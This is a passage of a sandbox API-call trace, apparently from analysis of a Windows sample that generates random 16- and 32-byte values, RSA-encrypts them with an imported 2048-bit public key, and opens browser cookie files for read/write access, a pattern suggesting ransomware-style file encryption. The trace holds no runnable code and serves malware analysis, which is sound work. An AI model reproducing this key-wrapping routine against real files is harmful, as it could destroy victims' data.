pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.154] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.154] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.156] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609d80) returned 1 [0175.156] CryptGetKeyParam (in: hKey=0x3609d80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.156] CryptEncrypt (in: hKey=0x3609d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4520000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4520000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.156] GetLastError () returned 0x0 [0175.156] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.156] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.158] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609fc0) returned 1 [0175.158] CryptGetKeyParam (in: hKey=0x3609fc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.158] CryptEncrypt (in: hKey=0x3609fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4530000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4530000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.159] GetLastError () returned 0x0 [0175.159] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.159] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CC7DS78R.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cc7ds78r.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.159] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.160] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.160] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.160] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.160] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.160] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.161] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.162] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.162] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.162] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.162] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.164] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a000) returned 1 [0175.164] CryptGetKeyParam (in: hKey=0x360a000, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.164] CryptEncrypt (in: hKey=0x360a000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4540000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4540000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.164] GetLastError () returned 0x0 [0175.164] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.164] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.166] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609dc0) returned 1 [0175.166] CryptGetKeyParam (in: hKey=0x3609dc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.166] CryptEncrypt (in: hKey=0x3609dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4550000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4550000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.166] GetLastError () returned 0x0 [0175.166] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.166] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CDGOWO27.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cdgowo27.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.167] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.167] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.168] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.168] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.168] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.168] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.169] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.169] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.169] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.169] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.170] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.171] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a0c0) returned 1 [0175.171] CryptGetKeyParam (in: hKey=0x360a0c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.171] CryptEncrypt (in: hKey=0x360a0c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.172] GetLastError () returned 0x0 [0175.172] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.172] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.173] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609e00) returned 1 [0175.173] CryptGetKeyParam (in: hKey=0x3609e00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.174] CryptEncrypt (in: hKey=0x3609e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.174] GetLastError () returned 0x0 [0175.174] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.174] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\CYHYO8JD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\cyhyo8jd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.174] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.175] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.175] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.175] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.175] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.176] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.176] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.177] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.177] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.177] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.178] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609e40) returned 1 [0175.178] CryptGetKeyParam (in: hKey=0x3609e40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.178] CryptEncrypt (in: hKey=0x3609e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4580000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4580000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.179] GetLastError () returned 0x0 [0175.179] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.179] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.180] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a2c0) returned 1 [0175.180] CryptGetKeyParam (in: hKey=0x360a2c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.180] CryptEncrypt (in: hKey=0x360a2c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4590000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4590000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.181] GetLastError () returned 0x0 [0175.181] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.181] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\D9QO3KHK.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\d9qo3khk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.181] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.182] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.182] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.182] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.182] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.182] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.183] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.183] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.184] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.185] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a040) returned 1 [0175.185] CryptGetKeyParam (in: hKey=0x360a040, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.185] CryptEncrypt (in: hKey=0x360a040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x45a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.186] GetLastError () returned 0x0 [0175.186] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.186] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.187] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609e80) returned 1 [0175.187] CryptGetKeyParam (in: hKey=0x3609e80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.187] CryptEncrypt (in: hKey=0x3609e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x45b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.188] GetLastError () returned 0x0 [0175.188] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.188] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DN8YUCVA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dn8yucva.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.188] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.189] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.189] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.189] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.189] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.190] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.191] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.191] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.191] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.192] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a480) returned 1 [0175.192] CryptGetKeyParam (in: hKey=0x360a480, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.192] CryptEncrypt (in: hKey=0x360a480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x45c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.193] GetLastError () returned 0x0 [0175.193] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.193] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.194] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a3c0) returned 1 [0175.195] CryptGetKeyParam (in: hKey=0x360a3c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.195] CryptEncrypt (in: hKey=0x360a3c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x45d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.195] GetLastError () returned 0x0 [0175.195] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.195] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DQI7WAG8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\dqi7wag8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.195] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.196] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.196] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.196] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.196] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.196] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.197] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.198] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.198] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.198] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.198] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.200] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a400) returned 1 [0175.200] CryptGetKeyParam (in: hKey=0x360a400, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.200] CryptEncrypt (in: hKey=0x360a400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x45e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.200] GetLastError () returned 0x0 [0175.200] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.200] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.202] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609ec0) returned 1 [0175.202] CryptGetKeyParam (in: hKey=0x3609ec0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.202] CryptEncrypt (in: hKey=0x3609ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x45f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.202] GetLastError () returned 0x0 [0175.202] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.202] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\DRDF2EZX.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\drdf2ezx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.203] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.204] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.204] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.204] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.204] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.204] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.206] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.206] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.206] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.206] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.208] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a080) returned 1 [0175.208] CryptGetKeyParam (in: hKey=0x360a080, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.208] CryptEncrypt (in: hKey=0x360a080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4600000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4600000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.208] GetLastError () returned 0x0 [0175.208] 